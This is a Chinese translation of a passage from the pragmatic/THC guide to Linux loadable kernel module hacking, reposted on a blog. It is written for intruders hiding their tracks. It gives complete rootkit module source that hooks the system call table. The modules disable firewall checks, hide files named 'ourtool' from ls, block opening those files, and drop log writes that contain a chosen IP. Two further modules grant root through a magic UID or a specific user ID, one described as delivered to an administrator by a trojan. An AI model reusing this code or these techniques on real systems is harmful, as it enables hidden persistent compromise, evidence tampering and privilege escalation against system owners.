a).讀原始碼。對於象Linux這樣的系統,你幾乎可以得到使用者(管理員)所用的所有程式的原始碼。一旦你找到一些基本函式如dup,open,write...看b)。

b).看一下include/sys/syscall.h(見I.2)試著找出直接對應的系統呼叫(對於dup可找到SYS_dup;對於write可找到SYS_write;...)。如果這樣不行看c)。

c).一些呼叫如socket,send,receive,...是通過一個系統呼叫實現的,正如以前我提過的。在include檔案中找一下相關係統呼叫。

記住並非所有的C庫函式都對應一個系統呼叫!大多函式根本不同任何系統呼叫有關係。有一點經驗的黑客會看一下 I.2中的系統呼叫列表,那裡有足夠的資訊。例如很明顯使用者ID管理是通過uid系統呼叫實現的。如果你想更有把握,你也可以看一下庫原始碼/核心原始碼。

比較棘手的問題是管理員寫自己的應用程式來檢查系統的整合性/安全性。這些程式會導致原始碼洩露,我們無法得知這些程式如何工作也不知為了隱藏行跡和工具應截獲哪些系統呼叫。也有可能管理員引入一個隱藏的LKM作為一個漂亮的象黑客做的一樣的系統呼叫去檢查系統的安全性(管理員經常使用黑客技術保護自己的系統)。所以下一步我們該怎麼辦?

2.1 尋找重要的系統呼叫(strace命令方法)

假設你懂用超級管理程式檢查系統(可用多種方式做,如截獲TTY(見II.9/附錄A),一個問題是你在超級管理程式中要隱藏自己的行跡直到某一時刻...)。所以用strace執行程式(可能要求你有root許可權)。

#strace ‘要執行的程式’

這個命令將給出一個漂亮的輸出,就是執行程式中用到的所有系統呼叫甚至包括管理員在他的偽裝LKM(如果有的話)用到的系統呼叫。我沒有能演示簡單輸出的超級管理程式,但我們可以看一下’strace whoami’的輸出結果。

execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000

mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY) = 3

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

close(3) = 0

stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)

open("/lib/libc.so.5", O_RDONLY) = 3

read(3, "/177ELF/1/1/1/0/0/0/0/0/0/0/0/0/3"..., 4096) = 4096

mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000

mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000

mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

close(3) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

munmap(0x40008000, 13363) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX) = 0

geteuid() = 500

getuid() = 500

getgid() = 100

getegid() = 100

brk(0x804aa48) = 0x804aa48

brk(0x804b000) = 0x804b000

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000

read(3, "# Locale name alias data base/n#"..., 4096) = 2005

brk(0x804c000) = 0x804c000

read(3, "", 4096) = 0

close(3) = 0

munmap(0x40008000, 4096) = 0

open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)

open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

close(3) = 0

geteuid() = 500

open("/etc/passwd", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000

read(3, "root:x:0:0:root:/root:/bin/bash/n"..., 4096) = 1074

close(3) = 0

munmap(0x4000b000, 4096) = 0

fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000

write(1, "r00t/n", 5r00t

) = 5

_exit(0) = ?

這是一個非常不錯的結果,列出了whoami命令用到的所有系統呼叫,不是嗎?為了控制whoami的輸出,有四個重要的系統呼叫可被截獲:

geteuid() = 500

getuid() = 500

getgid() = 100

getegid() = 100

看一下II.6是如何解決那個問題的。分析程式的方法也是快速查詢其它標準工具的一個重要方法。

我希望現在你有能力找到一些系統呼叫了。這些系統呼叫可用來使你隱藏行跡,做系統後門,或任何你想幹的。

3.迷惑核心系統表

在II.1中你可以看到如何訪問sys_call_table,它通過核心符號表匯出。現在思考一下,通過在我們的模組中訪問它們,我們可以改動任何引出項(如函式,結構,變數)。

在/proc/ksyms中列出的所有項都可被截獲。但我們的模組不能用這種方式改,因為我們沒引出任何符號。這裡是我機器上/proc/ksyms檔案的一部分,用來展示一下你可以改什麼。

...

001bf1dc ppp_register_compressor

001bf23c ppp_unregister_compressor

001e7a10 ppp_crc16_table

001b9cec slhc_init

001b9ebc slhc_free

001baa20 slhc_remember

001b9f6c slhc_compress

001ba5dc slhc_uncompress

001babbc slhc_toss

001a79f4 register_serial

001a7b40 unregister_serial

00109cec dump_thread

00109c98 dump_fpu

001c0c90 __do_delay

001c0c60 down_failed

001c0c80 down_failed_interruptible

001c0c70 up_wakeup

001390dc sock_register

00139110 sock_unregister

0013a390 memcpy_fromiovec

001393c8 sock_setsockopt

00139640 sock_getsockopt

001398c8 sk_alloc

001398f8 sk_free

00137b88 sock_wake_async

00139a70 sock_alloc_send_skb

0013a408 skb_recv_datagram

0013a580 skb_free_datagram

0013a5cc skb_copy_datagram

0013a60c skb_copy_datagram_iovec

0013a62c datagram_select

00141480 inet_add_protocol

001414c0 inet_del_protocol

001ddd18 rarp_ioctl_hook

001bade4 init_etherdev

00140904 ip_rt_route

001408e4 ip_rt_dev

00150b84 icmp_send

00143750 ip_options_compile

001408c0 ip_rt_put

0014faa0 arp_send

0014f5ac arp_bind_cache

001dd3cc ip_id_count

0014445c ip_send_check

00142bc0 ip_forward

001dd3c4 sysctl_ip_forward

0013a994 register_netdevice_notifier

0013a9c8 unregister_netdevice_notifier

0013ce00 register_net_alias_type

0013ce4c unregister_net_alias_type

001bb208 register_netdev

001bb2e0 unregister_netdev

001bb090 ether_setup

0013d1c0 eth_type_trans

0013d318 eth_copy_and_sum

0014f164 arp_query

00139d84 alloc_skb

00139c90 kfree_skb

00139f20 skb_clone

0013a1d0 dev_alloc_skb

0013a184 dev_kfree_skb

0013a14c skb_device_unlock

0013ac20 netif_rx

0013ae0c dev_tint

001e6ea0 irq2dev_map

0013a7a8 dev_add_pack

0013a7e8 dev_remove_pack

0013a840 dev_get

0013b704 dev_ioctl

0013abfc dev_queue_xmit

001e79a0 dev_base

0013a8dc dev_close

0013ba40 dev_mc_add

0014f3c8 arp_find

001b05d8 n_tty_ioctl

001a7ccc tty_register_ldisc

0012c8dc kill_fasync

0014f164 arp_query

00155ff8 register_ip_masq_app

0015605c unregister_ip_masq_app

00156764 ip_masq_skb_replace

00154e30 ip_masq_new

00154e64 ip_masq_set_expire

001ddf80 ip_masq_free_ports

001ddfdc ip_masq_expire

001548f0 ip_masq_out_get_2

001391e8 register_firewall

00139258 unregister_firewall

00139318 call_in_firewall

0013935c call_out_firewall

001392d4 call_fw_firewall

...

只看call_in_firewall,這個函式在核心中用於防火牆管理,如果我們用一個偽造的函式代替它會怎樣呢?

看如下LKM:

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

/*得到引出的函式*/

extern int *call_in_firewall;

/*我們自己的無用的call_in_firewall*/

int new_call_in_firewall()

{

return 0;

}

int init_module(void) /*module setup*/

{

call_in_firewall=new_call_in_firewall;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

}

編譯/載入此LKM並執行’ipfwadm –I –a deny’。然後執行’ping 127.0.0.1’,你的核心會產生一條有趣的錯誤資訊,因為呼叫的call_in_firewall(...)函式已經換成假的了(此例中你可跳過防火牆安裝)。

這是一種破壞引出符號的非常粗魯的方式。你也可以反彙編某個特定符號(用gdb)然後修改某些特定位元組,以改變符號的工作方式。想象一下,在引出函式中有 IF THEN結構,反彙編這個函式,查詢象JNZ,JNE這樣的命令,會怎樣 ...這種方法可修補重要項。當然,你也可以在核心/模組原始碼中找這些函式,但當你只能得到模組的二進位制程式碼時怎麼辦,這時反彙編就很有用了。

4.針對檔案系統的黑客方法

LKM入侵的最重要特徵就是在本地檔案系統中隱藏某些項(你留的漏洞,竊聽(+記錄),等等)的能力。

4.1 如何隱藏檔案

想象一下管理員是如何發現你的檔案的:他會用‘ls’看所有的東西。對那些不知道的人,strace 命令檢查ls可讓你知道獲得目錄列表的系統呼叫為

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

所以我們知道應從哪裡入手攻擊了。下面的一段程式碼取自AFHRM(Michal Zalewski)的hacked_getdents系統呼叫,這個模組可隱藏任何用ls列的檔案和用getdents系統呼叫列的應用程式。

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

unsigned int tmp, n;

int t, proc = 0;

struct inode *dinode;

struct dirent *dirp2, *dirp3;

char hide[]="ourtool"; /*要隱藏的檔案*/

/*呼叫原始的getdents -> 結果放入tmp*/

tmp = (*orig_getdents) (fd, dirp, count);

/*目錄快取處理directory cache handling*/

/*必須這樣檢查,因為原始getdents可能把結果放入任務程序的結構的快取中。*/

#ifdef __LINUX_DCACHE_H

dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

dinode = current->files->fd[fd]->f_inode;

#endif

/*dinode 是所請求目錄的i節點*/

if (tmp > 0)

{

/*dirp2 is a new dirent structure*/

dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

/*copy original dirent structure to dirp2*/

memcpy_fromfs(dirp2, dirp, tmp);

/*dirp3 points to dirp2*/

dirp3 = dirp2;

t = tmp;

while (t > 0)

{

n = dirp3->d_reclen;

t -= n;

/*檢查當前的檔名是否為我們想要隱藏的檔案*/

if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)

{

/*如果有必要則修改dirent結構*/

if (t != 0)

memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

else

dirp3->d_off = 1024;

tmp -= n;

}

if (dirp3->d_reclen == 0)

{

/*

*處理一些該死的不正確使用

*getdents系統呼叫的 fs 驅動程式

*/

tmp -= t;

t = 0;

}

if (t != 0)

dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);

}

memcpy_tofs(dirp, dirp2, tmp);

kfree(dirp2);

}

return tmp;

}

int init_module(void) /*module setup*/

{

orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_getdents]=orig_getdents;

}

對新手:讀註釋,用心思考10分鐘。然後繼續。

這種欺騙方式很有效,但記住管理員通過直接訪問仍然能看到你的檔案,如’cat ourtool’或’ls ourtool’就可以。所以你的工具不要用很詳細的名字如sniffer,mountdxpl.c等等。當然還有辦法防止管理員讀你的檔案,接著讀吧。

4.2如何隱藏檔案內容(總體說明)

我從未看到過隱藏檔案內容的真正實現程式,當然在一些象AFHRM的Michal Zalewski寫的LKM中有控制內容/刪除函式,但不是真正的隱藏內容。我懷疑有很多人就這樣做,但沒誰寫出來過,所以我寫了。很清楚,有很多辦法做這些,第一種辦法很簡單,截獲open系統呼叫檢查檔名是不是’ourtool’,如果是就否決任何開啟檔案的嘗試,所以讀/寫或其它事情都不能做。讓我們實現這個LKM:

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[];

int (*orig_open)(const char *pathname, int flag, mode_t mode);

int hacked_open(const char *pathname, int flag, mode_t mode)

{

char *kernel_pathname;

char hide[]="ourtool";

/*把檔名傳到核心空間*/

kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_pathname, pathname, 255);

if (strstr(kernel_pathname, (char*)&hide ) != NULL)

{

kfree(kernel_pathname);

/*返回錯誤程式碼'file does not exist'*/

return -ENOENT;

}

else

{

kfree(kernel_pathname);

/*如果不是處理我們的’ourtool’,一切照常*/

return orig_open(pathname, flag, mode);

}

}

int init_module(void) /*module setup*/

{

orig_open=sys_call_table[SYS_open];

sys_call_table[SYS_open]=hacked_open;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_open]=orig_open;

}

這個LKM工作的非常好,它告訴任何嘗試訪問我們檔案的人,檔案不存在。但我們自己如何訪問這些檔案呢,有好多方法

設定一個magic-string
檢查uid或gid(要求建立某一特定使用者)
檢查時間

4.3如何隱藏檔案的特定部分(源語示例)

在3.2 中提到的方法對我們自己的工具/記錄都是非常有用的。但用來修改管理員/其它使用者的檔案會怎樣呢?想象一下你想控制/var/log/messages中關於你的IP地址/DNS名稱的那些記錄項。我們知道成百上千個後門用來在任何記錄檔案中隱藏我們的標記,但LKM究竟怎樣濾掉寫向檔案的任何字串(資料)的呢。如果這個字串包含任何有關我們標記(例如IP地址)的任何資料,我們應該否決(可以簡單的忽略/返回)。下面的實現是非常基本的原型LKM,只用來展示。我以前從未見過,但從3.2可知有些人已經這麼做了很多年了。

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[];

int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)

{

char *kernel_buf;

char hide[]="127.0.0.1"; /*我們想要隱藏的IP地址*/

kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

memcpy_fromfs(kernel_buf, buf, 999);

if (strstr(kernel_buf, (char*)&hide ) != NULL)

{

kfree(kernel_buf);

/*告訴程式,我們已經寫了1位元組*/

return 1;

}

else

{

kfree(kernel_buf);

return orig_write(fd, buf, count);

}

}

int init_module(void) /*module setup*/

{

orig_write=sys_call_table[SYS_write];

sys_call_table[SYS_write]=hacked_write;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_write]=orig_write;

}

這個LKM有幾個不好的地方,它不檢查寫的物件(可用fd檢查,讀一些例子)。這意味著象’echo ‘127.0.0.1’’也會被禁止。你也可以修改將被寫入的字串,所以它可能是你喜歡的某個人的IP地址....總之,基本思想是很清楚的。

4.4如何重定向/監視檔案操作

很古老的思路,最先被AFHRM的Michal Zalewski實現。這裡我就不寫任何程式碼了,因為太容易實現了(你看過II.4.3/II.4.2之後)。在很多事情上你可以監視/重定向檔案系統事件:

某人寫檔案->拷貝內容到另一個檔案=>可通過sys_write(...)完成重定向。
某人能讀敏感檔案->監視某個檔案的讀=>可通過sys_read(...)完成重定向。
開啟檔案->我們可以監視整個系統的這類事件=>截獲sys_open(...)並寫入記錄檔案;這是AFHRM監視系統中檔案的方法(原始碼見IV.3)
link/unlink事件->監視所有連結的建立=>截獲sys_link(...)(原始碼見IV.3)
rename事件->監視所有改檔名的事件=>截獲sys_rename(...)(原始碼見IV.3)
...

有一點非常有趣(尤其對管理員),因為你可以監視整個系統的檔案變化。我認為,監視用’touch’和’mkdir’命令建立的檔案/目錄也很有意思。

例如’touch’命令不用open建立檔案;用strace命令顯示如下(節選):

...

stat("ourtool", 0xbffff798) = -1 ENOENT (無此檔案或目錄)

creat("ourtool", 0666) = 3

close(3) = 0

_exit(0) = ?

如你所見,系統用呼叫sys_creat(...)來建立新檔案。我認為這裡提供原始碼就沒必要了,太瑣碎了,不過就是截獲sys_creat(...)然後用printk(...)把所有檔名寫入記錄檔案。

這些就是AFHRM記錄所有重要事件的方法。

這種黑客方法不單針對檔案系統,對一般的許可權問題也非常重要。猜一下應截獲哪個系統呼叫。Phrack(plaguez)建議用萬能UID接管sys_setuid(...)。這意味著無論何時用萬能UID使用setuid時,模組將把UID置0(超級使用者)。

讓我們看一下他的實現(只有hacked_setuid系統呼叫):

...

int hacked_setuid(uid_t uid)

{

int tmp;

/*我們有萬能UID嗎(在LKM中前面的某處定義) */

if (uid == MAGICUID) {

/*如成立將所有的UIDs置0 (超級使用者)*/

current->uid = 0;

current->euid = 0;

current->gid = 0;

current->egid = 0;

return 0;

}

tmp = (*o_setuid) (uid);

return tmp;

}

...

我認為下面的技巧在某些情況下也很有用。想象一下這樣的情形:你給了(非常蠢的)管理員一個惡意木馬;這個木馬安裝瞭如下LKM到系統中[我沒有實現隱藏功能,這只是我思路的一個框架]:

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[];

int (*orig_getuid)();

int hacked_getuid()

{

int tmp;

/*檢查是否我的UID*/

if (current->uid=500) {

/*如果是我的UID -> 意味著我在登入->給我一個rootshell*/

current->uid = 0;

current->euid = 0;

current->gid = 0;

current->egid = 0;

return 0;

}

tmp = (*orig_getuid) ();

return tmp;

}

int init_module(void) /*module setup*/

{

orig_getuid=sys_call_table[SYS_getuid];

sys_call_table[SYS_getuid]=hacked_getuid;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_getuid]=orig_getuid;

}

如果這個LKM被載入到我們只是普通使用者的作業系統中,登入之後我們會得到一個rootshell(當前程序有超級使用者權力)。如我在第一部分提到的,current指的是當前任務(task)結構。

4.6如何使黑客工具目錄不可訪問

對黑客來說建個目錄放自己經常使用的工具很重要(黑客高手不使用常規的本地檔案系統存放資料)。用getdents方法可以隱藏我們的目錄/檔案,用open方法可使我們的檔案不可訪問,但如何使我們的目錄不可訪問呢?

象通常的做法一樣,看一下include/sys/syscall.h,你會發現SYS_chdir是我們要的系統呼叫(不信的話可用strace命令看一下’cd’)。這次我不給出原始碼,因為你只需截獲sys_mkdir,做一下字串比較。然後做常規呼叫(如不是我們的目錄)或返回ENOTDIR(意味著‘此目錄不存在’)。現在你的工具中級管理員就不能發現了(高階/有病的管理員會在最底層掃描硬碟,但在今天除了我們誰會這麼瘋狂?!)這種硬碟掃描也可擊敗,因為所有的一切都是基於系統呼叫的。

相關推薦

Linux載入核心模組LKM(轉載)

轉載: 漏天劍 Linux可載入核心模組(LKM) Linux可載入核心模組完全版 --黑客、病毒程式編寫者和系統管理員的概念性指南 作者:pragmatic/THC 版本:1.0 釋出時間:03/1999/ 譯者:[email protected] I.基

Linux載入核心模組LKM

轉載自http://blog.csdn.net/zhaqiwen/article/details/8288472 I.基礎知識 1.什麼是LKM  2.什麼是系統呼叫 3.什麼是核心符號表 4.如何進行核心與使用者空間記憶體資料的交換 5.使用使用者空間的

Linux 自動載入驅動模組.ko檔案

以wctdmxxp.ko為例 wctdmxxp.ko需要依賴dahdi_voicebus.ko 一、手動載入: insmod  dahdi_voicebus.ko insmod  wctdmxxp.ko 二、自動載入 1、把wctdmxxp.ko和dahdi_voicebu

node總結之核心模組until

util 是一個Node.js 核心模組,提供常用函式的集合,用於彌補核心JavaScript 的功能 過於精簡的不足,咱們這次就來簡單的看一些關於until的一些函式。 util.inherits(constructor, superConstructor)是一個實現物件間原型繼承 的函式

Spartan-6系列內部模組介紹之配置邏輯模組CLB

可配置邏輯模組(CLB)Spartan-6每個CLB模組裡包含兩個SLICE。CLB通過交換矩陣和外部通用邏輯陣列相連,如圖2-1和圖2-2所示。底部的SLICE標號為SLICE0,頂部的SLICE標號為SLICE1。兩個SLICE沒有直接連線。每個SLICE包含4個LUT和

Linux動態載入核心模組時出現問題

 在linux系統中安裝ko檔案時,系統報錯: altera_cvp:module verification failed : signature and/or required key missing - tainting kernel 一來一去問了幾個在linux上進

Spring---七大核心模組

核心容器(Spring Core)   核心容器提供Spring框架的基本功能。Spring以bean的方式組織和管理Java應用中的各個元件及其關係。Spring使用BeanFactory來產生和管理Bean,它是工廠模式的實現。BeanFactory使用控制反轉

Linux 下執行本目錄的執行文件命令為什麽需要在文件名前加“./”

使用 當前 bin post 文件內容 sbin use usr 新增 一、PATH 是環境變量,裏面保存了執行文件路徑(通常會包含多個路徑,各路徑之間以冒號“:”進行間隔)。當執行一個可執行文件(命令)時,Linux 會優先到 PATH 環境變量中保存的路徑下進行查找。使

Angular6學習筆記15:核心知識-模組NgModule

模組(NgModule) 繼學習筆記14,可以大概的知道Angular的大概架構,現在在一一深入瞭解。 Angular的應用,會將整個應用進行模組化處理,即:將一個應用分成幾個模組,一個應用,至少有一個模組(AppModule-根模組),簡答的講,一個模組,就是一個容器,存放一些內聚的程式碼

如何成為一個Linux核心開發者經典

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

selenium模組:等待元素被載入

1、selenium只是模擬瀏覽器的行為,而瀏覽器解析頁面是需要時間的(執行css,js),一些元素可能需要過一段時間才能加載出來,為了保證能查詢到元素,必須等待 2、等待的方式分兩種: 隱式等待:在browser.get(‘xxx’)前就設定,針對所有元素有效 顯式等待:在browse

C#框架程式設計動態載入模組

本文系原創,轉載請註明出處: 在之前分享的部落格中,我已經實現了一個靜態載入的小框架,這個框架的模組已經在程式碼中確定,一旦生成程式,模組將無法改變。但在實際應用的大型專案中,我們更傾向於使用動態載入模組的框架,這樣對於專案的移植更加靈活和方便,因此今天我就來實現這個效

C#框架程式設計動態載入模組

本文系原創,轉載請註明出處: 在上一篇部落格中,我完成了介面的設計部分,下面我接著來講具體的程式碼實現。先來看模組配置頁面的實現,看程式碼: private void LoadItem() { string sq

linux核心探索3--系統呼叫(傳參)

踩坑啊啊啊啊啊啊!!! 目錄 10、測試 核心版本: 開始: 1、編寫sys.c /usr/src/linux-4.18.11/kernel/sys.c 新增: #include <linux/linkage.

iTop-4412 SCP 精英版 linux-4.14.12 核心移植2

linux-4.14.12中對iTop-4412 SCP 精英版有支援的裝置樹的,只需要修改一些細節就可以直接使用了,在arch/arm/boot/dts目錄下有精英版支援的裝置樹 (一)修改exynos4412-itop-elite.dts 根據訊為給的開發

手把手教你移植linux核心---------OK6410

配置資訊: 移植核心:linux-3.3.5       可以從  http://www.kernel.org/     下載純正的版本    編譯環境:vmware下ubuntu11.04 交叉編譯版本:4.3.2 準備工作: 一塊OK6410開發板,交叉網線,串列埠線

Linux 網路協議棧開發—— 網路協議棧核心分析

1.1 傳送端 1.1.1 應用層 (1) Socket 應用層的各種網路應用程式基本上都是通過 Linux Socket 程式設計介面來和核心空間的網路協議棧通訊的。Linux Socket 是從 BSD Socket 發展而來的,它是 Linux 作業系統的重要組成部分之一,它是網路應用程式

Linux核心分析——總結篇

       處理資源主要我們指的是程式的執行,我們知道程式的一個可執行例項是程序,裡面包含了程式碼可以執行的最基本資料集合。那麼從時間的維度上看,作業系統如何載入一個程式就是我們首先需要關心的,Linux中是把這個程式的執行地址的開頭作為引數傳遞給作業系統然後由系統將它啟動,系列文章中有涉及。從巨集觀的角度

Linux 下wifi 驅動開發—— WiFi模組淺析

一、什麼是wifi 模組         百度百科上這樣定義:         Wi-Fi模組又名串列埠Wi-Fi模組,屬於物聯網傳輸層,功能是將串列埠或TTL電平轉為符合Wi-Fi無線網路通訊標準的嵌入式模組,內建無線網路協議IEEE802.11b.g.n協議棧以及TCP

linux下使用邏輯卷LVM實現多塊硬碟的整和與持續擴充

[[email protected] ~]# pvcreate /dev/sdb1 /dev/sdc1                                            ####使用pvcreate把兩個分割槽加入到新pv裡,多個分割槽的時候也這麼寫只要分割槽間用空格格開就